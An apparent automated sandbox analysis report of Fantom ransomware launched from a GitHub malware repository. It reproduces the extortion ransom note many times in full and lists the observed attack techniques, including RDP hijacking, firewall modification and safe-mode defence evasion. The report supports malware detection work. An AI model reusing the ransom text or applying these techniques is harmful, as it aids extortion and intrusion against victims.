Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

URLScan

urlscan

https://github.com/D...

windows10-2004-x64

10

Resubmissions

17/01/2025, 00:09

250117-afkm7swnek 10

17/01/2025, 00:03

250117-acf6lsvqbw 8

17/01/2025, 00:00

250117-aae6javpes 10

Analysis

  • max time kernel
    98s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/01/2025, 00:00

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    https://github.com/Da2dalus/The-MALWARE-Repo

Score
10/10
fantomdefense_evasiondiscoveryevasionlateral_movementpersistenceprivilege_escalationransomware

Malware Config

Extracted

Path

C:\PerfLogs\DECRYPT_YOUR_FILES.HTML

Ransom Note
Attention ! All your files have been encrypted. Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets. That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us. Getting a decryption of your files is - SIMPLY task. That all what you need: 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] 2. For test, decrypt 2 small files, to be sure that we can decrypt you files. 3. Pay our services. 4. GET software with passwords for decrypt you files. 5. Make measures to prevent this type situations again. IMPORTANT(1) Do not try restore files without our help, this is useless, and can destroy you data permanetly. IMPORTANT(2) We Cant hold you decryption passwords forever. ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. Your ID_KEY: DZQK9Vy3fwW8zIefvbqUrQpjwBm9XI2oRdRJBE3TishTrw0Zb7av4W92RNIsX/2bx7vVfVd1FNCJT5ppM8pXBcLwR3WDQO0m1PhXbCZAhx2L0f7YnaDZJdU5WrwwtVweA/FMPz5Wttd37PJBBSS+KBH3lYHxXzqS615XCjmdBq8Y11Lli7yg96FiURiK7qDgPqLNtJqLu/Q2hyUudZlBCZqkJ8Mzr1QLYxdohkejwEBjHiSa4Lb+Vxb3Qqqrj+Xcpavykq/TFi3usp08OetX878T0plaXA/NU9k4GGCvCfX5a9JoQrSo04KNXy8yPHdgYiQvhfCj/wW3h4q43dkxZA==ZW4tVVM=

Extracted

Path

C:\Program Files\7-Zip\Lang\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>ebr0/L/FKAWP/9ZNqnof8UOnGC/H8DZ5loUeffGsBEsxiQf7V0bOdZLLdY8fKQPDocEnErweO8xrXlqoixoqE1gDPpEPu1/d2655Px+sKaOktO79ry4IW+uCpGdmB/HJaW6oGVscdT3xVXgmJoSM5LpmFYUnXYoGdNmX82jO3zUCcv+rvBN/H/oLKFqxbbhxW7IONd26JAzj/JFSZ5yQTh5wEgFwY8h9vX45u5HpdIEbEJY3ugs7hQPCVJVAzn/aTjORBRapZMvvv3f7CpB1/8MzGM98AM4MsUIWgQcXlRM5OIV1xs8GEtqyi3orBtqDhoYPOlPhIO42UxufFieGdQ==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Extracted

Path

C:\Program Files\7-Zip\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>lN8AIFde0sy3h769l5jJil0JskIH05UphYpnmANZW9378U0HhwEsB78RopkSXN5Sjc8JUVA071uBmTIpf5eq+CfiTODFRaIi+hodbvoKo3efSJAeprPe37DqoB74kDZiP3NGcZ0ipNyIOlfsoQg2qTwO3WrgL/ptPqG1PJqEPu9WoXXftA/coQ9dWBhZ56FZnyi898pnDLJVk4PtIbTwsU53DM1NKL7dIWJSo0Zuert6ugVmmkAxbzhAcgm3i4JSdHRj04qZ61EhwK1FdfKusOMrmqciGmEyUoK1Pd5lOUEnJNOjzghVdfzw5r/81YGtkVkTGK00nKfX7pq3na/EIA==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Extracted

Path

C:\Program Files\7-Zip\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>R5+8qTevhmycSqSanzeCvKvcIyvhHm1y4NyFgUi5jxRHqMBDNUaUJUMAgh4djBdSZ5XFG3y6bCDnS5SEp5zABhF10NDXXeuvtDjmokGjqlJEPmh4Gig5SizlwyTvCEAdThkFxEq3lM8/brtn8raCeXLNGfReC94BfdAUuhzEdrilkT428mmSfJgkPhJYf8++gXLb1T48HjxxuzcLSjP5YJIR+jnkUyhDLzU30Qh9CRyQfDJr/fuGZj2tReq5mj4i+JQwzbkU9yb4/eFy931WVUVmvnLhN1FYs+E+OHEQVG0BrNsxMQ2fHiVVq5t+8YG9nAVZ2pFa1Gfq2WcwZWL0sg==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Extracted

Path

C:\$Recycle.Bin\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>LH5q4XSJNDp3EuD1S3VPqChAzykNvepfdFqg33G/u+S3HjjvY1+CLtpmAECY4VIF/dCDCYyjoPnlPI9tQztbkdATF3mjmcXKP+cHdyJVkNyDLGXmWTg3SxUIj8S/bYVqCVnsiuTvx9GNaKm+XgKjkDVZ1CBxsoxZmEJy20UR2lv4HEZ6f+0R7Cdh07m64fAK3+s/PW+pOVpMLhe91dQ5EWLacsv7FaOwwY2iY9CK+CpG8iuR3awp/pMkiCL26/7bpgZHkN+rppNou1jw0YDTUF8fsthow+KxCt/M5+zNqYWIhoLcnV+qLipeLJEJGGeE+sHiuYTMu3oWgvq+GN0D7A==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Extracted

Path

C:\Program Files\7-Zip\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>cF7XKH3l3ncC+4J91cA0oamZmWEzbPKt7kAF0/UYQ+GNcN8xW629+OEiueJ4W+sivzPoiFS9b2CiMWkl0U2vN69k6WJnIirvLb2QOWp5mmGi5WjWdVemwiiz/Zxymlb1buLzMrDN6MK+Y5GJLzt24pyI+0ANJb0NUfptrGXV9rH0dmkELJqXdvh+l4daMEzyMVip0Pug/1iKn5KMNSpMajpZ8exmLOAYBfQjjdg4NgFvhaH2fXIqRTD+c/xhzzoHZE0ig0HyiN6fgfWSI2Vr1JsePgmNOf41iCH4/fSyxWIfAGhegXcTZdMUikpk0v08jZdMvFNzrb1ckEx/V/D6JA==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Extracted

Path

C:\Program Files\7-Zip\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>hwpUrFeyL7/NtNasQdtRqH1ye/9rymWWBn/dxdoc+XidiD1zGa/cC02zpi3q3aF6legsFIr33PVn/dmA5mOUrx7NkTHYI9vTsaIyTTc+5NozKdrHdGbEdXVCw2GCKPxB9dlYC04IAlQb1Y2wk0e3+dmc8OkKiD0TX9dwoj6AQH6IsDcFaIpwRVu9Qh8IA8Rs5uUF3ZOK7WaioK6N03wHj4/c17GADOJUFPBUkEvdrA+D/C9YFVprhfsGsO9CYM4MYfDQcTVulARHfC1iF0AKB2QtPO8rq5VsMP0zjjCtPFx3U8GsNBOcxpq2POC4swaM6t7ATgK8hTvOBXPcjYqyqA==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Extracted

Path

C:\Program Files\7-Zip\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>R4k9IPs6Jm1yl0d83AYtXa6ogO8dom69bU2nGwf0veaA+FR9pHxwhg/dbmbwaIjLuCCqzWG/Y9LUkZsh0rmeMFpy4MG21rdqB85fdRQS6rhGvaWq+GyBwJ9//Gxk0IVh/2wp03we7EYZzQLKl97w6/20Mz9hQGuOHR/LKJ1ZovGgHpGEFJKc241bMG8JgV3psIssRh7ymgvnrGr69pPTW20/vArDXmcw9Vvsqp/Cp+F+1FgvkKSVpOZ8kt5XkVZQRedI5R1+Qo/EU4r1oqjBJVtIrwUCOG5Yi/dpNH9TBZOAqP6S5FyW88c96cXvLa2VkRoBnnE+ZaxXkKnPZNfBig==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Extracted

Path

C:\Program Files\7-Zip\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>m5ID8l13iN4uNMSt3rYYaajWLBLhIbemO06K0BE/hRcW1QA+LrnGLEH5eTBupQf4oWxfwhWzwCtyL0c+Qqx1Xd/9BTzhQGkCisI1C8IdB3bFFlkrYZm49rLS654W488lKhTi7v58w6u5Xl+O/2fIb8jgCrzPdRCsHYJZEGott6hU1MEJagNB/gW1UE/3p07r1OoLKl4TRDouUtanu9lHS4pmlRkd8mfYoN6uUD+jBu11iB5xXweFqluTluL1H95rfmC+Jl5tRdbs1pI5WA0yWVQaef03nJErT9LQcZvQ+QGofzQ06vYjZuNskZTobICrDo1a9ln4bbcXb3h+QJZ8lQ==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Extracted

Path

C:\Program Files\7-Zip\DECRYPT_YOUR_FILES.HTML

Ransom Note
<html> <head> <style> body{ background-color: #3366CC; } h1 { background-color: RGB(249, 201, 16); } p { background-color: maroon; color: white; } </style> </head> <body> <center> <h1><b> Attention ! All your files </b> have been encrypted. </h1></br> <p> Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets.</br> That means > RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us.</br> Getting a decryption of your files is - SIMPLY task.</br></br> That all what you need:</br> 1. Sent Your ID_KEY on mailbox [email protected] or [email protected] </br> 2. For test, decrypt 2 small files, to be sure that we can decrypt you files.</br> 3. Pay our services. </br> 4. GET software with passwords for decrypt you files.</br> 5. Make measures to prevent this type situations again.</br></br> IMPORTANT(1)</br> Do not try restore files without our help, this is useless, and can destroy you data permanetly.</br></br> IMPORTANT(2) </br> We Cant hold you decryption passwords forever. </br>ALL DECRYPTION PASSWORDS, for what wasn`t we receive reward, will destroy after week of moment of encryption. </p> <p> Your ID_KEY: <br> </p> <table width="1024" border="0"> <tbody> <tr> <td><p>f/XUsiXBHFHFUMYX8A8bTtbKJ0CfykQv7G6NCjyaaucC8be4VOTQqkv+86txMF7I+I4+bFgeZoGVOE1euvvvpHLRKteAyVdrbquOICWAfatJvnEdEBl9Oyn0rX2hhevuTxo188pW8mgbs4T6WVNcsaVZohAzfzP+KLwwx6Bx32rj7ulyq2Yc+8DF1sxhzl2i40IvKQwUxJrVzNfKmsAFcIfSsPipUwYEjxJqwTCjcq0dXbFQGmvRLLHxzp1tEE9QWbHKtDN6sHFKYy+HycJrYqytlGNpYOyaeDZ5JSih33xhvwZ8SpEVhy90W5037eM/zSHwlyDS4hSxXoHnoZNM3w==ZW4tVVM=</p></td> </tr> </tbody> </table> </center></html></body>

Signatures

  • Fantom

    Ransomware which hides encryption process behind fake Windows Update screen.

    ransomwarefantom
  • Fantom family
    fantom
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

    lateral_movement
  • Renames multiple (159) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • Sets service image path in registry 2 TTPs 9 IoCs
    persistence
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Impair Defenses: Safe Mode Boot 1 TTPs 14 IoCs
    defense_evasion
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

    discovery
  • Hide Artifacts: Hidden Users 1 TTPs 1 IoCs
    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 40 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • NTFS ADS 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious behavior: LoadsDriver 32 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 58 IoCs
  • Suspicious use of SendNotifyMessage 25 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://github.com/Da2dalus/The-MALWARE-Repo
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3344
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdfe8646f8,0x7ffdfe864708,0x7ffdfe864718
      2⤵
        PID:3512
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,1085965302840478030,8668818182654533909,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2
        2⤵
          PID:2648
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,1085965302840478030,8668818182654533909,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4088
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2164,1085965302840478030,8668818182654533909,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2880 /prefetch:8
          2⤵
            PID:3868
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,1085965302840478030,8668818182654533909,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
            2⤵
              PID:4540
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,1085965302840478030,8668818182654533909,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1
              2⤵
                PID:3348
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,1085965302840478030,8668818182654533909,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5404 /prefetch:8
                2⤵
                  PID:3664
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,1085965302840478030,8668818182654533909,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5404 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3444
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2164,1085965302840478030,8668818182654533909,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5636 /prefetch:8
                  2⤵
                    PID:4060
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,1085965302840478030,8668818182654533909,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
                    2⤵
                      PID:452
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2164,1085965302840478030,8668818182654533909,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6152 /prefetch:8
                      2⤵
                        PID:680
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2164,1085965302840478030,8668818182654533909,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5924 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2816
                      • C:\Users\Admin\Downloads\Fantom.exe
                        "C:\Users\Admin\Downloads\Fantom.exe"
                        2⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Drops file in Program Files directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1804
                        • C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe
                          "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe"
                          3⤵
                          • Executes dropped EXE
                          PID:4124
                      • C:\Users\Admin\Downloads\Fantom.exe
                        "C:\Users\Admin\Downloads\Fantom.exe"
                        2⤵
                        • Executes dropped EXE
                        • Drops file in Program Files directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5508
                      • C:\Users\Admin\Downloads\Fantom.exe
                        "C:\Users\Admin\Downloads\Fantom.exe"
                        2⤵
                        • Executes dropped EXE
                        • Drops file in Program Files directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:6036
                      • C:\Users\Admin\Downloads\Fantom.exe
                        "C:\Users\Admin\Downloads\Fantom.exe"
                        2⤵
                        • Executes dropped EXE
                        • Drops file in Program Files directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:744
                      • C:\Users\Admin\Downloads\Fantom.exe
                        "C:\Users\Admin\Downloads\Fantom.exe"
                        2⤵
                        • Executes dropped EXE
                        • Drops file in Program Files directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5824
                      • C:\Users\Admin\Downloads\Fantom.exe
                        "C:\Users\Admin\Downloads\Fantom.exe"
                        2⤵
                        • Executes dropped EXE
                        • Drops file in Program Files directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
